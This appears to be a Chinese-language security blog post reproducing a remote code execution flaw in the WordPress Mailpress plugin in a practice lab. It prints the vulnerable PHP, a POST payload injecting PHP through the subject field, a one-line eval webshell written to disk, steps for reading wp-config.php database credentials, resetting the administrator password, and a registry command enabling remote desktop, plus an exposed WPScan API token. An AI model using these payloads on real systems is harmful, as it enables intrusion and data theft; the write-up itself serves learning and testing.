当前位置:网站首页>Remember a Mailpress plugin RCE vulnerability recurrence
Remember a Mailpress plugin RCE vulnerability recurrence
2022-07-30 06:34:00 【24242424242424242424】
0x01 Mailpress plugin RCE漏洞
1.简介
WordPress Mailpress Plugin 插件中, mailpress/mp-includes/class/MP_Actions.class.php 文件中 iview() 函数中 subject Parameters are not filtered,直接拼接do_eval函数执行代码,而do_evalFunctions are also not filtered in any way,导致远程代码执行漏洞.
详情链接
2.相关代码
public static function iview(){
$mp_general = get_option(MailPress::option_name_general);
$id = $_GET["id"];
$main_id = (isset($_GET["main_id"])) ? $_GET["main_id"] : $id;
$mail = MP_Mail::get($id);
$theme = (isset($_GET["theme"]) && !empty($_GET["theme"])) ? $_GET["theme"] : (!empty($mail->theme) ? $mail->theme : false);
$mp_user_id = (isset($_GET["mp_user_id"]) && !empty($_GET["mp_user_id"])) ? $_GET["mp_user_id"] : false;
// from
$from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general["fromemail"], $mp_general["fromname"]);
// to
$to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ", $mp_user_id); // subject $x = new MP_Mail(); // // 注意这里调用了 do_eval // $subject = (in_array($mail->status, array("sent", "archived"))) ? $mail->subject : $x->do_eval($mail->subject);
//
$subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
// template
...
}
0x02 POC构造
- Use exploit code to trigger the vulnerability:
http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php
- POST data:
action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1
- 返回值如下:
<wp_ajax><response action="autosave_2"><autosave id="2" old_id="2" position="1"><response_data>Draft saved at pm5:58:36.</response_data><supplemental><tipe>mail</tipe></supplemental></autosave></response></wp_ajax>
记录下autosave id的值,接下来使用.
- Visit the Vulnerables page for results:
http://你的 IP 地址:端口号/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=returned in the previous stepid号
直接获取phpinfo()的页面.
0x03 靶场漏洞复现
- 先访问IP
http://192.168.*.*/,Obviously a useWPride site.
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lRHNNSgg-1658837597685)(C:\Users\24\AppData\Roaming\Typora\typora-user-images\1658489416433.png)]](/img/41/3a642fe2e61e71e2b796529c1581ad.png)
由于是WPtake the station,我们可以先使用WPScan扫一手(使用WPScan时,Plus officialAPIVulnerability details can be revealed),在kali终端输入命令
# wpscan --url http://192.168.*.* --api-token KDgPmudZ16JIzMsyadPAh8s6paUp9yAZxHTO5FYfyGg,A sensitive directory can be obtained.(But it seems to have been addedAPI没什么用)
获取API链接
访问
192.168.*.*/html,Get a configuration file for the websitewp-config.php.
接下来利用RCE漏洞,在ip后面加上
/wp-content/plugins/mailpress/mp-includes/action.php,利用hackbar,Change the parameter to POST类型,在POST dataconstruct the code that needs to be executed,得到autosave id=14.
访问
http://192.168.*.*/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=14,Get the website root directory.
Now you know the website root directory,接下来将POST传参中的subjectThe parameter is changed to write a sentence Trojan,如下所示.
<?php file_put_contents('C:/phpstudy123/WWW/1.php','<?php @e*al($_POST[cmd]);?>');?>

访问
http://192.168.*.*/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=16,And use the ant sword to connecthttp://192.168.*.*/1.php,然后就成功getshell.

然后访问
C:/phpstudy123/WWW/wp-config.php,Get information about the database.
使用蚁剑,Use the above information to connect to the database.

使用nmapCheck if the host is turned on3389端口,发现没有开.View operating system user information on the Antjian terminal,修改管理员密码,Just open3389端口.Then you can connect remotely.
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
边栏推荐
- strcasecmp和strncasecmp
- jsx的实现
- Redis简单了解
- BaseDAO的抽取
- 【Typescript】学习笔记(三)之接口与泛型的使用
- awd总结
- 【文献阅读】Age Progress/Regression by Conditional Adversarial Autoencoder 基于条件对抗自编码器(CAAE)的老化/去龄化方案
- uncategorized SQLException; SQL state [null]; error code [0]; sql injection violation, syntax error
- async/await用法详解
- 【C语言】三子棋(井字棋)的实现
猜你喜欢

Application Practice | Application Practice of Apache Doris in Baidu Intelligent Cloud Billing System
Misc of CTF-image steganography

Qt通过QSttings类读取*.ini配置文件

SSTI靶场

DVWA installation tutorial (understand what you don't understand · in detail)

CTFSHOW命令执行【web29-web124】未完待续

DVWA安装教程(懂你的不懂·详细)

【C语言】字符串的比较
![[Mini Program Project Development--Jingdong Mall] Classification Navigation Area of uni-app](/img/cb/b0b79444dc90980cd2220ff9e68549.png)
[Mini Program Project Development--Jingdong Mall] Classification Navigation Area of uni-app

分支和循环语句
随机推荐
目前主流浏览器以及对应的内核
Redis简单了解
CTF之misc-其他类型隐写
技术人该访问的论坛
SSTI靶场
浏览器缓存
Qt实现一个重复文件检测小工具(原理:通过md5校验)
npm run serve starts error npm ERR Missing script "serve"
div设置一个最小高度和最大高度,但是中间可以靠内容撑开
sqli-labs less3/4打靶笔记
torch分布式训练
互斥量解决线程同步问题
Connect to Mysql in the cloud server Docker detailed graphic and text operations (full)
别找了,你要的C语言“数组”在这里
TypeError The view function did not return a valid response. The function either returned None 的解决
【C语言】字符串的比较
【问题解决】在写CSDN博客时,如何对段落进行首行缩进?
kali is an essential artifact for information security
秒杀项目的总结及面试常见问题
【文献阅读】Age Progress/Regression by Conditional Adversarial Autoencoder 基于条件对抗自编码器(CAAE)的老化/去龄化方案